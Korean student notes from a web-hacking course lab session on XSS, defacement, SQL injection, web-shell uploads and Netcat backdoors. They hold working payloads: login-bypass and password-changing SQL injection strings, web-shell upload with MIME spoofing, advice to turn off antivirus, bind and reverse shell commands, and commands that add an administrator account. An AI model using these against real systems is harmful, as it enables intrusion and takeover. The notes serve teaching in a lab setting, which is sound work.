루키즈 교육 - 0906 학습
웹 해킹 보안 3일차
* XSS (Cross Site Scripting)
- 스크립트를 웹서버에 업로드하고 , 방문한 웹브라우저에서 스크립트를 실행하게 되면 공격자가 원하는 행위가 발생됨
- 타겟 : 웹브라우저
- 스크립트를 평문으로 작성하면 악성코드를 유포하는 URL, 악성코드 이름 등이 노출됨 => 공격자들은 스크립트를 난독화함
* 난독화
- 스크립트의 내용을 숨기기 위해서
- 복잡한 함수와 생소한 인코딩을 적용 => 사람은 읽기 어렵지만 웹브라우저는 읽고 실행함
* Web Shell
- 관리자가 SSH, FTP를 이용하지 않고 웹브라우저로 웹서버를 관리하기 위한 도구 (GUI로 설정 가능)
- 공격자들이 웹쉘을 웹서버에 업로드해서 원격으로 조종
* Windows2003
http://ha.do/4vx 동시접속제한발생할수있음 => 잠시후에 다운로드 하면됌
* 정정당당한 해킹은 없다. 해킹에는 반칙이 없다
* 웹쉘 대응 방법
1) 웹쉘을 업로드하지 못하게 해야함
2) 업로드된 웹쉘은 동작하지 못하도록 해야함 => 압축해서 보관, 읽기만 가능한 스토리지 보관
3) 업로드한 웹쉘의 위치를 찾을 수 없도록 위치 경로를 알려주지 않거나, 파일이름을 바꾸는 방법
* Threat map이용한 실시간 공격현황 보기
- https://threatmap.checkpoint.com/
- Threat map으로 검색하면 실시간 공격현황을 볼 수 있음
* 웹쉘 (Web Shell)
웹쉘은 Content-Type은 text/plain 이지만, Proxy 도구(Burp Suite)를 이용해서 image/jpeg라고 속임
=> client가 보내는 정보를 그대로 신뢰하는 경우, 실제로 들어있는 파일은 다른 것(웹쉘)임
* 실습 - 1
실습준비 ) 16.WINDOWS SERVER 2003.ZIP 파일을 압축 풉니다
VMWARE PLAYER를 실행합니다.
PLAY>FILE>OPEN을 하고, 압축 푼 폴더를 찾아갑니다.
WINDOWS sERVER 2003 eNTERPRISE eDITION.VMX 를 선택하고, 열기 클릭
Play Virtual Machine 클릭 , I copied it, yes(시작됌)
로그인 : administrator / hp12345
(설치 안함 선택, 업그레이드 및 업데이트 금지)
시작 => 명령 프롬프트 => ipconfig => ip주소가 192.168.50.129
밖에 있는 window10에서 검색창에 internet explorer를 실행
도구 => 호환성 보기 설정 => 추가 => 닫기
도구 => 인터넷옵션 => 현재페이지 클릭 => 확인 // 웹사이트 첫 페이지를 바꿈
* 실습 -2
http://192.168.5.129/uploadfile/browser.jsp
1) Deface 실습 : 웹사이트의 첫 페이지를 바꾸는 공격
pixabay.com / 이미지를 무료로 다운받을 수 있음, 상업용으로 사용해도 됌
hacker로 검색한 다음, 적당한 이미지를 다운로드 하고 이름은 hacker.jpg 변경 (다른 사진으로 해도 됨)
hacker.jpg 파일을 웹서버 루트 디렉토리에 업로드
index.jsp파일의 오른쪽 끝에 있는 edit버튼을 누름
<BODY leftmargin=0 밑에 넣음
<DIV style="position:absolute; left:200; top:90; Z-index:2;"> <img src="hack.jpg"></DIV> // 67page
2) SQL 인젝션 실습
- 첫페이지에서만 Login Bypass 공격이 가능함
ID 와 PW를 넣으면 SELECT문이 만둘어짐 => DB에 전달됌
로그인 SELECT문 예상 : select id, pw from ??? where id=' ' and pw='
1단계) ID를 알아내려면? 자유게시판에서 webmaster라는 계정이 있음을 알 수 있음
=> 로그인을 하려면?
* 1단계 문제)
select id, pw from??? where id='webmaster' and pw='' or 1=1 --'; // id webmaster pass sql injection
'or 1=1 --
'or2>1 --
'or'a'='a' --
'or'a'='a // 주석을 사용하지 않고, '의 개수를 예상대로 맞춤(짝수면 주석 불필요)
ID 부분에 넣어도됨
select id,pw from ???? where id=''or1=1--' and pw='';
(로그아웃 안됌, 익스플로를 다시 닫고 새로 실행시킴)
* 왜 자꾸 superman으로 로그인되는 걸까?
=> user table의 맨 위에 있는 계정이 superman이기 때문
=> 정확하게는 지정되지 않는 경우 테이블의 맨 위의 계정으로 매칭(db속성)
* 꼭 webmaster 계정으로 로그인을 하려면?
- 참고 : select id,pw from ???? where id='' and 1=1--' and pw=''; ( or 대신 and 넣어야됌)
=> True and True는 사족(뱀의 다리, 필요없다는 의미) => and ture는 제거
- 정답 : select id,pw from ???? where id='webmaster' and 1=1--' and pw='';
test : select id,pw from ??? where id='webmaster' --' and pw=' ';
* 실제 사이트에 공격하면 안됌
=> 탐지, IP추적, 내용증명, 고소(형사소송:5천만원 , 민사소송 : 손해배상 ??)
* Blind SQL Injection
- DB구조 등을 모르는 상태에서 SQL인젝션을 하는것
- SQL문이 거짓이 되도록 만들어서 에러메시지가 발생됌 => DB이름, 테이블이름, 컬러이름 등을 알아내는것
- A부터 Z까지, 0부터 1까지 대입을 해봄 => 결과가 하나 다른것이 있다면 그것이 정답
* 실습) Argo Club homepage에 ID넣는 부분에 아래와 같이 입력
'having 1=1 --
=> having을 사용하려면 앞에 group by가 있어야함
- select id, pw from ???? where id=''having --' and pw='' ;
에러가 나오면 , tbl_member.uid, tbl_member.userid, tbl_member.passwd, tbl_member.username
=> 테이블명.컬럼명
* webmaster의 패스워드를 1234로 바꾸려면??
정답 : '; UPDATE tbl_member SET passwd='1234' WHERE userid='webmaster'; --
//
cf.update 테이블명 set 컬럼='바꿀내용' where '바꿀 대상';
select userid,passwd from tbl_member where userid='
'; update tbl_member set passwd='1234' where userid='webmaster'; -- and passwd=' ' ; //
* 웹쉘 실습을 하려면, 실시간 감시를 꺼야함
- 백신이 설치되어 있으면 실시간 감시를 끄면 됨
- 윈도우 보안 센터에서 위협 감시의 실시간 탐지를 끄거나 , 백신이 설치되어 있으면 실시간 감시를 끄면됨
http://192.168.50.129/uploadfile/browser.jsp 접속
..을 누르면 한수준 위로 올라감 => 웹서버 루트 디렉토리(index.jsp파일이 있음)
php폴더를 클릭하면 확장자가 php인 웹쉘 5개가 보임 => download 버튼 누르면 다운로드 됩니다.
=> 웹쉘은 인터넷에 업로드하거나 블로그에 업로드 하면 안됌!(정보통신망법에 저촉됨 , 악성코드 유포하면 안됌)
* DVWA 실습 (ubuntu_DVWA를 켜고 웹브라우저로 접속)
- File Upload 메뉴를 클릭
1단계) 이미지 업로드
아까 pixabay.com 에서 다운로드 한 작은 이미지를 쓰기
../../hackable/uploads/pig.jpg
../는 한수준 위로 올라가라는 의미
http://192.168.50.128/dvwa/vulnerabilities/upload/# // # 은 현재 위치
http://192.168.50.128/dvwa/vulnerabilities/uploads/pig.jpg // 두수준 위로 올라가서(삭제) 이미지 경로를 붙여넣음
2단계) php-backdoor.php 파일 업로드 & 웹쉘 실행까지
execute shell command에 리눅스 명령어를 넣으면됨 : pwd, cat/etc/passwd, ls-l, cat / etc/ apache2/apache2
http://192.168.50.128/dvwa/hackable/uploads/php-backdoor.php
3단계) c999shell.php 파일업로드하기(에러 발생시 r57shell.php => 대체파일 b374k-2.8로함 (비밀번호b374k)
용량커서 익스플로를 열고 f11 편집기 눌러서 돔탐색기, 모니터모양, maxfilesize 값추가) // 용량제한 해제방법
b374k-2.8php 파일을 업로드(용량이 99.552bytes이므로)하고 실행
http://192.168.50.128/dvwa/hackable/uploads/b374k-2.8.php
=> 지금까지 업로드한 파일을 모두 삭제해보세요
2. Medium
b374k를 업로드하려면? 업로드 안됌..
=> proxy를 이용해서 어떤부분 수정?
=> 수정부분 : plain/text를 image/jpeg로 수정하면 됌
* 업로드는 웹쉘만 있는것은 아님
- 직접 실행파일을 업로드 하는 것 : 세션을 직접 연결하는 것 => 원격조종을 해서 시스템에 영향을 주는 행위
- 대표적인 도구 : RAT(Remote Access Trojan의 줄임말 => Victim에 몰래 업로드 하고 원격으로 연결하는 방법)
ex) Netcat : 네트워크를 몰래 다니는 고양이 / nc.exe(윈도우용), nc(리눅스용)
1) 백도어 방식
- 미리 Victim의 관리자PW등을 알아낸 후,
Victim host에 백도어를 실행하고, Attacker는 Victim host의 Backdoor에 접근해서 연결하는 방식
실습) 백오더(윈도우 2003 서버/ 우분트 사용)
- Windows2003 : Server : Victim
cmd> nc -l -p 8000 -e cmd.exe
Server : 8000포트 (-p : port)를 열고 기다림(-l : listening)
Victim : -e(binary 를 제공), cmd.exe의 권한을 넘겨주겠다
하는방법(윈도우 cmd)
cdm > cd \
cmd > wine -l -p 8000 -e cmd.exe( 무반응임)
- 우분투 Client : Attacker
$ cd /
$ nc 192.168.50.129 8000 입력 하면 접속 성공
net user blackpink icecream /add ( 백도어한 서버에 icecream 파일 생성하기) / net user aespa princess /add // net localgroup administrators blackpink /add
이후 확인방법
( 윈도우서버 => 시작=>관리도구=>컴퓨터관리=> 로컬사용자및 그룹 => 사용자폴더에 생성된거 확인가능)
( 윈도우서버 => 시작=>관리도구=>컴퓨터관리=> 로컬사용자및 그룹 => 그룹폴더에 생성된거 확인가능)
2) Reverse 방식 (Trojan horse 방식) 문제점
- 중간에 방화벽이 존재하기 때문에 80포트 또는 443과 같은 미리 열어둔 포트가 아니면 접속 불가능
* Reverse Connection
- 방화벽의 특성상, 내부망에서 외부망(인터넷)으로 나가는 트래픽을 막지 않음(막으면 인터넷이 안됌)
- RAT를 이용하여 내부망에서 외부망으로 연결하는 방식을 사용함
실습)
- 우분트 Attacker : server
1. $ nc -l -p 5678
- windows2003 : Victim : Client
1. cmd> wine 192.168.50.129 5678 -e cmd.exe